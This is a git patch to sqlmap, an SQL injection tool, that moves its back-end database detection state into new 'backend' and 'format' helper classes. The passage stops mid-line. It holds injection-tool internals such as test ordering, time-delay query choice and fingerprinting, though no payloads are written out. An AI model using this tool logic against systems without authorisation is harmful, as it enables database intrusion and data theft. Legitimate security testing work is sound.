From bade0e3124fd55c74cbdbb0d6d6602a91bcf31f0 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 19 Jan 2011 23:06:15 +0000 Subject: [PATCH] Major code refactoring - centralized all kb.dbms* info for both retrieval and set. --- lib/controller/action.py | 7 +- lib/controller/checks.py | 38 +-- lib/controller/handler.py | 12 +- lib/core/agent.py | 67 +++-- lib/core/common.py | 372 ++++++++++++++---------- lib/core/option.py | 11 +- lib/core/session.py | 29 +- lib/core/shell.py | 4 +- lib/core/unescaper.py | 4 +- lib/parse/banner.py | 12 +- lib/request/direct.py | 4 +- lib/request/inject.py | 269 +++++++++-------- lib/takeover/abstraction.py | 18 +- lib/takeover/metasploit.py | 18 +- lib/takeover/udf.py | 18 +- lib/takeover/xp_cmdshell.py | 7 +- lib/techniques/blind/inference.py | 9 +- lib/techniques/brute/use.py | 4 +- lib/techniques/error/use.py | 34 +-- lib/techniques/inband/union/test.py | 10 +- lib/techniques/inband/union/use.py | 36 +-- lib/utils/hash.py | 6 +- lib/utils/resume.py | 10 +- plugins/dbms/access/fingerprint.py | 65 +++-- plugins/dbms/firebird/fingerprint.py | 36 ++- plugins/dbms/maxdb/fingerprint.py | 28 +- plugins/dbms/mssqlserver/enumeration.py | 8 +- plugins/dbms/mssqlserver/fingerprint.py | 40 ++- plugins/dbms/mysql/fingerprint.py | 101 ++++--- plugins/dbms/oracle/enumeration.py | 6 +- plugins/dbms/oracle/fingerprint.py | 28 +- plugins/dbms/postgresql/fingerprint.py | 56 ++-- plugins/dbms/sqlite/fingerprint.py | 27 +- plugins/dbms/sybase/fingerprint.py | 33 ++- plugins/generic/enumeration.py | 239 +++++++-------- plugins/generic/filesystem.py | 12 +- plugins/generic/fingerprint.py | 3 +- plugins/generic/misc.py | 14 +- plugins/generic/takeover.py | 30 +- 39 files changed, 915 insertions(+), 810 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index c55e244ea..8989f6929 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -8,7 +8,8 @@ See the file 'doc/COPYING' for copying permission """ from lib.controller.handler import setHandler -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.common import dataToStdout from lib.core.data import conf from lib.core.data import kb @@ -30,8 +31,8 @@ def action(): # system to be able to go ahead with the injection setHandler() - if not kb.dbmsDetected or not conf.dbmsHandler: - htmlParsed = getErrorParsedDBMSesFormatted() + if not backend.getDbms() or not conf.dbmsHandler: + htmlParsed = format.getErrorParsedDBMSes() errMsg = "sqlmap was not able to fingerprint the " errMsg += "back-end database management system" diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 7f057a525..0cf1541ba 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -13,15 +13,14 @@ import time from lib.core.agent import agent from lib.core.common import aliasToDbmsEnum +from lib.core.common import backend from lib.core.common import beep from lib.core.common import extractRegexResult from lib.core.common import findDynamicContent +from lib.core.common import format from lib.core.common import getComparePageRatio from lib.core.common import getCompiledRegex -from lib.core.common import getErrorParsedDBMSes -from lib.core.common import getErrorParsedDBMSesFormatted -from lib.core.common import getIdentifiedDBMS -from lib.core.common import getInjectionTests +from lib.core.common import getSortedInjectionTests from lib.core.common import getUnicode from lib.core.common import popValue from lib.core.common import pushValue @@ -50,6 +49,7 @@ from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapUserQuitException from lib.core.session import setDynamicMarkings from lib.core.settings import CONSTANT_RATIO +from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import UPPER_RATIO_BOUND from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper @@ -78,8 +78,8 @@ def unescapeDbms(payload, injection, dbms): payload = unescape(payload, dbms=dbms) elif conf.dbms is not None: payload = unescape(payload, dbms=conf.dbms) - elif getIdentifiedDBMS() is not None: - payload = unescape(payload, dbms=getIdentifiedDBMS()) + elif backend.getIdentifiedDbms() is not None: + payload = unescape(payload, dbms=backend.getIdentifiedDbms()) return payload @@ -91,7 +91,7 @@ def checkSqlInjection(place, parameter, value): # Set the flag for sql injection test mode kb.testMode = True - for test in getInjectionTests(): + for test in getSortedInjectionTests(): try: if kb.endDetection: break @@ -164,19 +164,19 @@ def checkSqlInjection(place, parameter, value): continue - if len(getErrorParsedDBMSes()) > 0 and dbms not in getErrorParsedDBMSes() and kb.skipOthersDbms is None: + if len(backend.getErrorParsedDBMSes()) > 0 and dbms not in backend.getErrorParsedDBMSes() and kb.skipOthersDbms is None: msg = "parsed error message(s) showed that the " - msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted() + msg += "back-end DBMS could be %s. " % format.getErrorParsedDBMSes() msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" if conf.realTest or readInput(msg, default="Y") in ("y", "Y"): - kb.skipOthersDbms = getErrorParsedDBMSes() + kb.skipOthersDbms = backend.getErrorParsedDBMSes() if kb.skipOthersDbms and dbms not in kb.skipOthersDbms: debugMsg = "skipping test '%s' because " % title debugMsg += "the parsed error message(s) showed " debugMsg += "that the back-end DBMS could be " - debugMsg += "%s" % getErrorParsedDBMSesFormatted() + debugMsg += "%s" % format.getErrorParsedDBMSes() logger.debug(debugMsg) continue @@ -395,7 +395,7 @@ def checkSqlInjection(place, parameter, value): # Force back-end DBMS according to the current # test value for proper payload unescaping - kb.misc.forcedDbms = dbms + backend.forceDbms(dbms) # Skip test if the user provided custom column # range and this is not a custom UNION test @@ -407,7 +407,7 @@ def checkSqlInjection(place, parameter, value): configUnion(test.request.char, test.request.columns) - if not getIdentifiedDBMS(): + if not backend.getIdentifiedDbms(): warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " warnMsg += "back-end DBMS" @@ -426,8 +426,8 @@ def checkSqlInjection(place, parameter, value): # by unionTest() directly where = vector[6] - # Reset back-end DBMS value - kb.misc.forcedDbms = None + # Reset forced back-end DBMS value + backend.flushForcedDbms() # If the injection test was successful feed the injection # object with the test's details @@ -481,7 +481,7 @@ def checkSqlInjection(place, parameter, value): if inp == injection.dbms: break elif inp == dValue: - kb.dbms = aliasToDbmsEnum(inp) + backend.setDbms(inp) injection.dbms = aliasToDbmsEnum(inp) injection.dbms_version = None break @@ -489,10 +489,10 @@ def checkSqlInjection(place, parameter, value): warnMsg = "invalid value" logger.warn(warnMsg) elif dKey == "dbms" and injection.dbms is None: - kb.dbms = aliasToDbmsEnum(dValue) + backend.setDbms(dValue) injection.dbms = aliasToDbmsEnum(dValue) elif dKey == "dbms_version" and injection.dbms_version is None: - kb.dbmsVersion = [ dValue ] + backend.setVersion(dValue) injection.dbms_version = dValue elif dKey == "os" and injection.os is None: injection.os = dValue @@ -558,7 +558,7 @@ def heuristicCheckSqlInjection(place, parameter): infoMsg += "parameter '%s' might " % parameter if result: - infoMsg += "be injectable (possible DBMS: %s)" % (getErrorParsedDBMSesFormatted() or 'Unknown') + infoMsg += "be injectable (possible DBMS: %s)" % (format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION) logger.info(infoMsg) else: infoMsg += "not be injectable" diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 5b06b2c45..5ff5bb68b 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -7,7 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import popValue from lib.core.common import pushValue from lib.core.data import conf @@ -63,11 +63,11 @@ def setHandler(): ( SYBASE_ALIASES, SybaseMap, SybaseConn ), ] - if getIdentifiedDBMS() is not None: + if backend.getIdentifiedDbms() is not None: for i in xrange(len(dbmsObj)): dbmsAliases, _, _ = dbmsObj[i] - if getIdentifiedDBMS().lower() in dbmsAliases: + if backend.getIdentifiedDbms().lower() in dbmsAliases: if i > 0: pushValue(dbmsObj[i]) dbmsObj.remove(dbmsObj[i]) @@ -94,12 +94,12 @@ def setHandler(): conf.dbmsConnector.connect() if handler.checkDbms(): - kb.dbmsDetected = True conf.dbmsHandler = handler break else: conf.dbmsConnector = None - # At this point proper back-end DBMS is fingerprinted (kb.dbms) - kb.misc.forcedDbms = None + # At this point back-end DBMS is correctly fingerprinted, no need + # to enforce it anymore + backend.flushForcedDbms() diff --git a/lib/core/agent.py b/lib/core/agent.py index 9c99c3f5a..1caedfa86 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -11,9 +11,8 @@ import re from xml.etree import ElementTree as ET +from lib.core.common import backend from lib.core.common import getCompiledRegex -from lib.core.common import getErrorParsedDBMSes -from lib.core.common import getIdentifiedDBMS from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isTechniqueAvailable from lib.core.common import randomInt @@ -206,8 +205,8 @@ class Agent: payload = payload.replace("[ORIGVALUE]", origvalue) if "[INFERENCE]" in payload: - if getIdentifiedDBMS() is not None: - inference = queries[getIdentifiedDBMS()].inference + if backend.getIdentifiedDbms() is not None: + inference = queries[backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): @@ -265,17 +264,17 @@ class Agent: # SQLite version 2 does not support neither CAST() nor IFNULL(), # introduced only in SQLite version 3 - if getIdentifiedDBMS() == DBMS.SQLITE: + if backend.getIdentifiedDbms() == DBMS.SQLITE: return field if field.startswith("(CASE"): nulledCastedField = field else: - nulledCastedField = queries[getIdentifiedDBMS()].cast.query % field - if getIdentifiedDBMS() == DBMS.ACCESS: - nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % (nulledCastedField, nulledCastedField) + nulledCastedField = queries[backend.getIdentifiedDbms()].cast.query % field + if backend.getIdentifiedDbms() == DBMS.ACCESS: + nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % (nulledCastedField, nulledCastedField) else: - nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % nulledCastedField + nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % nulledCastedField return nulledCastedField @@ -309,12 +308,12 @@ class Agent: @rtype: C{str} """ - if not kb.dbmsDetected: + if not backend.getDbms(): return fields fields = fields.replace(", ", ",") fieldsSplitted = fields.split(",") - dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query + dbmsDelimiter = queries[backend.getIdentifiedDbms()].delimiter.query nulledCastedFields = [] for field in fieldsSplitted: @@ -377,13 +376,13 @@ class Agent: def simpleConcatQuery(self, query1, query2): concatenatedQuery = "" - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) - elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): + elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): concatenatedQuery = "%s||%s" % (query1, query2) - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): concatenatedQuery = "%s+%s" % (query1, query2) return concatenatedQuery @@ -425,7 +424,7 @@ class Agent: concatenatedQuery = query fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1) concatenatedQuery += ",'%s')" % kb.misc.stop @@ -438,7 +437,7 @@ class Agent: elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop) - elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): + elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1) concatenatedQuery += "||'%s'" % kb.misc.stop @@ -451,10 +450,10 @@ class Agent: elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop) - if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect): + if backend.getIdentifiedDbms() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect): concatenatedQuery += " FROM DUAL" - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1) concatenatedQuery += "+'%s'" % kb.misc.stop @@ -520,8 +519,8 @@ class Agent: intoRegExp = intoRegExp.group(1) query = query[:query.index(intoRegExp)] - if getIdentifiedDBMS() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[getIdentifiedDBMS()]): - inbandQuery = inbandQuery[:-len(FROM_TABLE[getIdentifiedDBMS()])] + if backend.getIdentifiedDbms() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[backend.getIdentifiedDbms()]): + inbandQuery = inbandQuery[:-len(FROM_TABLE[backend.getIdentifiedDbms()])] for element in range(count): if element > 0: @@ -540,9 +539,9 @@ class Agent: conditionIndex = query.index(" FROM ") inbandQuery += query[conditionIndex:] - if getIdentifiedDBMS() in FROM_TABLE: + if backend.getIdentifiedDbms() in FROM_TABLE: if " FROM " not in inbandQuery: - inbandQuery += FROM_TABLE[getIdentifiedDBMS()] + inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()] if intoRegExp: inbandQuery += intoRegExp @@ -559,8 +558,8 @@ class Agent: else: inbandQuery += char - if getIdentifiedDBMS() in FROM_TABLE: - inbandQuery += FROM_TABLE[getIdentifiedDBMS()] + if backend.getIdentifiedDbms() in FROM_TABLE: + inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()] inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) @@ -589,21 +588,21 @@ class Agent: """ limitedQuery = query - limitStr = queries[getIdentifiedDBMS()].limit.query + limitStr = queries[backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex+1:] orderBy = False - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): - limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1) + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): + limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr - elif getIdentifiedDBMS() == DBMS.FIREBIRD: - limitStr = queries[getIdentifiedDBMS()].limit.query % (num+1, num+1) + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: + limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num+1, num+1) limitedQuery += " %s" % limitStr - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] @@ -615,7 +614,7 @@ class Agent: limitedQuery = limitedQuery % fromFrom limitedQuery += "=%d" % (num + 1) - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): forgeNotIn = True if " ORDER BY " in limitedQuery: @@ -629,7 +628,7 @@ class Agent: limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct) if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): - topNums = re.search(queries[getIdentifiedDBMS()].limitregexp.query, limitedQuery, re.I) + topNums = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I) if topNums: topNums = topNums.groups() @@ -675,8 +674,8 @@ class Agent: @rtype: C{str} """ - if getIdentifiedDBMS() is not None and hasattr(queries[getIdentifiedDBMS()], "case"): - return queries[getIdentifiedDBMS()].case.query % expression + if backend.getIdentifiedDbms() is not None and hasattr(queries[backend.getIdentifiedDbms()], "case"): + return queries[backend.getIdentifiedDbms()].case.query % expression else: return expression diff --git a/lib/core/common.py b/lib/core/common.py index 0a032fc79..df02cbc39 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -78,12 +78,14 @@ from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import TIME_DEFAULT_DELAY from lib.core.settings import TIME_STDEV_COEFF from lib.core.settings import DYNAMICITY_MARK_LENGTH +from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.threads import getCurrentThreadData class UnicodeRawConfigParser(RawConfigParser): """ RawConfigParser with unicode writing support """ + def write(self, fp): """ Write an .ini-format representation of the configuration state. @@ -109,10 +111,10 @@ class UnicodeRawConfigParser(RawConfigParser): fp.write("\n") - class DynamicContentItem: """ - Represents line in content page with dynamic properties (candidate for removal prior detection phase) + Represents line in content page with dynamic properties (candidate + for removal prior detection phase) """ def __init__(self, lineNumber, pageTotal, lineContentBefore, lineContentAfter): @@ -121,7 +123,6 @@ class DynamicContentItem: self.lineContentBefore = lineContentBefore self.lineContentAfter = lineContentAfter - def paramToDict(place, parameters=None): """ Split the parameters into names and values, check if these parameters @@ -203,110 +204,6 @@ def paramToDict(place, parameters=None): return testableParameters -def formatDBMSfp(versions=None): - """ - This function format the back-end DBMS fingerprint value and return its - values formatted as a human readable string. - - @return: detected back-end DBMS based upon fingerprint techniques. - @rtype: C{str} - """ - - while versions and None in versions: - versions.remove(None) - - if not versions and kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None: - versions = kb.dbmsVersion - - if isinstance(versions, basestring): - return "%s %s" % (getIdentifiedDBMS(), versions) - elif isinstance(versions, (list, set, tuple)): - return "%s %s" % (getIdentifiedDBMS(), " and ".join([version for version in versions])) - elif not versions: - warnMsg = "unable to extensively fingerprint the back-end " - warnMsg += "DBMS version" - logger.warn(warnMsg) - - return getIdentifiedDBMS() - -def formatFingerprintString(values, chain=" or "): - strJoin = "|".join([v for v in values]) - - return strJoin.replace("|", chain) - -def formatFingerprint(target, info): - """ - This function format the back-end operating system fingerprint value - and return its values formatted as a human readable string. - - Example of info (kb.headersFp) dictionary: - - { - 'distrib': set(['Ubuntu']), - 'type': set(['Linux']), - 'technology': set(['PHP 5.2.6', 'Apache 2.2.9']), - 'release': set(['8.10']) - } - - Example of info (kb.bannerFp) dictionary: - - { - 'sp': set(['Service Pack 4']), - 'dbmsVersion': '8.00.194', - 'dbmsServicePack': '0', - 'distrib': set(['2000']), - 'dbmsRelease': '2000', - 'type': set(['Windows']) - } - - @return: detected back-end operating system based upon fingerprint - techniques. - @rtype: C{str} - """ - - infoStr = "" - - if info and "type" in info: - infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"])) - - if "distrib" in info: - infoStr += " %s" % formatFingerprintString(info["distrib"]) - - if "release" in info: - infoStr += " %s" % formatFingerprintString(info["release"]) - - if "sp" in info: - infoStr += " %s" % formatFingerprintString(info["sp"]) - - if "codename" in info: - infoStr += " (%s)" % formatFingerprintString(info["codename"]) - - if "technology" in info: - infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ") - - return infoStr - -def getErrorParsedDBMSesFormatted(): - """ - This function parses the knowledge base htmlFp list and return its - values formatted as a human readable string. - - @return: list of possible back-end DBMS based upon error messages - parsing. - @rtype: C{str} - """ - - htmlParsed = "" - - if len(kb.htmlFp) == 0: - return None - elif len(kb.htmlFp) == 1: - htmlParsed = kb.htmlFp[0] - elif len(kb.htmlFp) > 1: - htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp]) - - return htmlParsed - def getDocRoot(webApi=None): docRoot = None pagePath = directoryPath(conf.path) @@ -626,14 +523,14 @@ def parsePasswordHash(password): if not password or password == " ": password = "NULL" - if getIdentifiedDBMS() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password): + if backend.getIdentifiedDbms() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password): hexPassword = password password = "%s\n" % hexPassword password += "%sheader: %s\n" % (blank, hexPassword[:6]) password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) - if kb.dbmsVersion[0] not in ( "2005", "2008" ): + if not backend.isVersionWithin(("2005", "2008")): password += "%suppercase: %s" % (blank, hexPassword[54:]) return password @@ -927,25 +824,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True) def getDelayQuery(andCond=False): query = None - if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): + if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if not kb.data.banner: conf.dbmsHandler.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - if banVer is None or (getIdentifiedDBMS() == DBMS.MYSQL and banVer >= "5.0.12") or (getIdentifiedDBMS() == DBMS.PGSQL and banVer >= "8.2"): - query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec + if banVer is None or (backend.getIdentifiedDbms() == DBMS.MYSQL and banVer >= "5.0.12") or (backend.getIdentifiedDbms() == DBMS.PGSQL and banVer >= "8.2"): + query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec else: - query = queries[getIdentifiedDBMS()].timedelay.query2 % conf.timeSec - elif getIdentifiedDBMS() == DBMS.FIREBIRD: - query = queries[getIdentifiedDBMS()].timedelay.query + query = queries[backend.getIdentifiedDbms()].timedelay.query2 % conf.timeSec + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: + query = queries[backend.getIdentifiedDbms()].timedelay.query else: - query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec + query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec if andCond: - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.SQLITE ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.SQLITE ): query = query.replace("SELECT ", "") - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: query = "(%s)>0" % query return query @@ -1524,7 +1421,6 @@ def getUnicode(value, encoding=None): else: return unicode(value) # encoding ignored for non-basestring instances - # http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 def longestCommonPrefix(*sequences): if len(sequences) == 1: @@ -1902,8 +1798,8 @@ def isDBMSVersionAtLeast(version): retVal = None - if kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None: - value = kb.dbmsVersion[0].replace(" ", "").rstrip('.') + if backend.getVersion() and backend.getVersion() != UNKNOWN_DBMS_VERSION: + value = backend.getVersion().replace(" ", "").rstrip('.') while True: index = value.find('.', value.find('.') + 1) @@ -2004,7 +1900,7 @@ def arrayizeValue(value): return value -def getInjectionTests(): +def getSortedInjectionTests(): """ Returns prioritized test list by eventually detected DBMS from error messages @@ -2019,14 +1915,14 @@ def getInjectionTests(): retVal = SORTORDER.LAST elif 'details' in test and 'dbms' in test.details: - if test.details.dbms in getErrorParsedDBMSes(): + if test.details.dbms in backend.getErrorParsedDBMSes(): retVal = SORTORDER.SECOND else: retVal = SORTORDER.THIRD return retVal - if getErrorParsedDBMSes(): + if backend.getErrorParsedDBMSes(): retVal = sorted(retVal, key=priorityFunction) return retVal @@ -2064,34 +1960,218 @@ def unicodeToSafeHTMLValue(value): return retVal -def getErrorParsedDBMSes(): - """ - Returns array with parsed DBMS names till now +class format: + @staticmethod + def humanize(values, chain=" or "): + strJoin = "|".join([v for v in values]) - This functions is called to: + return strJoin.replace("|", chain) - 1. Sort the tests, getInjectionTests() - detection phase. - 2. Ask user whether or not skip specific DBMS tests in detection phase, - lib/controller/checks.py - detection phase. - 3. Sort the fingerprint of the DBMS, lib/controller/handler.py - - fingerprint phase. - """ + # Get methods + @staticmethod + def getDbms(versions=None): + """ + Format the back-end DBMS fingerprint value and return its + values formatted as a human readable string. - return kb.htmlFp + @return: detected back-end DBMS based upon fingerprint techniques. + @rtype: C{str} + """ -def getIdentifiedDBMS(): - dbms = None + if versions is None and backend.getVersionList(): + versions = backend.getVersionList() - if kb.misc.forcedDbms is not None: - dbms = kb.misc.forcedDbms - elif kb.dbms is not None: - dbms = kb.dbms - elif conf.dbms is not None: - dbms = conf.dbms - elif len(getErrorParsedDBMSes()) > 0: - dbms = getErrorParsedDBMSes()[0] + if versions is None: + return backend.getDbms() + else: + return "%s %s" % (backend.getDbms(), " and ".join([v for v in versions])) - return aliasToDbmsEnum(dbms) + @staticmethod + def getErrorParsedDBMSes(): + """ + Parses the knowledge base htmlFp list and return its values + formatted as a human readable string. + + @return: list of possible back-end DBMS based upon error messages + parsing. + @rtype: C{str} + """ + + htmlParsed = "" + + if len(kb.htmlFp) == 0: + return None + elif len(kb.htmlFp) == 1: + htmlParsed = kb.htmlFp[0] + elif len(kb.htmlFp) > 1: + htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp]) + + return htmlParsed + + @staticmethod + def getOs(target, info): + """ + Formats the back-end operating system fingerprint value + and return its values formatted as a human readable string. + + Example of info (kb.headersFp) dictionary: + + { + 'distrib': set(['Ubuntu']), + 'type': set(['Linux']), + 'technology': set(['PHP 5.2.6', 'Apache 2.2.9']), + 'release': set(['8.10']) + } + + Example of info (kb.bannerFp) dictionary: + + { + 'sp': set(['Service Pack 4']), + 'dbmsVersion': '8.00.194', + 'dbmsServicePack': '0', + 'distrib': set(['2000']), + 'dbmsRelease': '2000', + 'type': set(['Windows']) + } + + @return: detected back-end operating system based upon fingerprint + techniques. + @rtype: C{str} + """ + + infoStr = "" + + if info and "type" in info: + infoStr += "%s operating system: %s" % (target, format.humanize(info["type"])) + + if "distrib" in info: + infoStr += " %s" % format.humanize(info["distrib"]) + + if "release" in info: + infoStr += " %s" % format.humanize(info["release"]) + + if "sp" in info: + infoStr += " %s" % format.humanize(info["sp"]) + + if "codename" in info: + infoStr += " (%s)" % format.humanize(info["codename"]) + + if "technology" in info: + infoStr += "\nweb application technology: %s" % format.humanize(info["technology"], ", ") + + return infoStr + +class backend: + # Set methods + @staticmethod + def setDbms(dbms): + kb.dbms = aliasToDbmsEnum(dbms) + + @staticmethod + def setVersion(version): + if isinstance(version, basestring): + kb.dbmsVersion = [ version ] + + @staticmethod + def setVersionList(versionsList): + if isinstance(versionsList, list): + kb.dbmsVersion = versionsList + elif isinstance(version, basestring): + backend.setVersion(versionsList) + else: + logger.error("invalid format of versionsList") + + @staticmethod + def forceDbms(dbms): + kb.misc.forcedDbms = aliasToDbmsEnum(dbms) + + @staticmethod + def flushForcedDbms(): + kb.misc.forcedDbms = None + + # Get methods + @staticmethod + def getForcedDbms(): + return aliasToDbmsEnum(kb.misc.forcedDbms) + + @staticmethod + def getDbms(): + return aliasToDbmsEnum(kb.dbms) + + @staticmethod + def getErrorParsedDBMSes(): + """ + Returns array with parsed DBMS names till now + + This functions is called to: + + 1. Sort the tests, getSortedInjectionTests() - detection phase. + 2. Ask user whether or not skip specific DBMS tests in detection phase, + lib/controller/checks.py - detection phase. + 3. Sort the fingerprint of the DBMS, lib/controller/handler.py - + fingerprint phase. + """ + + return kb.htmlFp + + @staticmethod + def getIdentifiedDbms(): + dbms = None + + if backend.getForcedDbms() is not None: + dbms = backend.getForcedDbms() + elif backend.getDbms() is not None: + dbms = kb.dbms + elif conf.dbms is not None: + dbms = conf.dbms + elif len(backend.getErrorParsedDBMSes()) > 0: + dbms = backend.getErrorParsedDBMSes()[0] + + return aliasToDbmsEnum(dbms) + + @staticmethod + def getVersion(): + if len(kb.dbmsVersion) > 0: + return kb.dbmsVersion[0] + else: + return None + + @staticmethod + def getVersionList(): + if len(kb.dbmsVersion) > 0: + return kb.dbmsVersion + else: + return None + + # Comparison methods + @staticmethod + def isDbms(dbms): + return backend.getDbms() is not None and backend.getDbms() == aliasToDbmsEnum(dbms) + + @staticmethod + def isDbmsWithin(aliases): + return backend.getDbms() is not None and backend.getDbms().lower() in aliases + + @staticmethod + def isVersion(version): + return backend.getVersion() is not None and backend.getVersion() == version + + @staticmethod + def isVersionWithin(versionList): + if backend.getVersionList() is None: + return False + + for dbmsVersion in backend.getVersionList(): + if dbmsVersion == UNKNOWN_DBMS_VERSION: + continue + elif dbmsVersion in versionList: + return True + + return False + + @staticmethod + def isVersionGreaterOrEqualThan(version): + return backend.getVersion() is not None and str(backend.getVersion()) >= str(version) def showHttpErrorCodes(): """ diff --git a/lib/core/option.py b/lib/core/option.py index cfcac9cb0..4cf558b1b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -24,6 +24,7 @@ from extra.clientform.clientform import ParseResponse from extra.keepalive import keepalive from extra.xmlobject import xmlobject from lib.controller.checks import checkConnection +from lib.core.common import backend from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType @@ -550,11 +551,10 @@ def __setDBMS(): conf.dbms = conf.dbms.lower() firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS]) - dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) + dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms, re.I) if dbmsRegExp: - 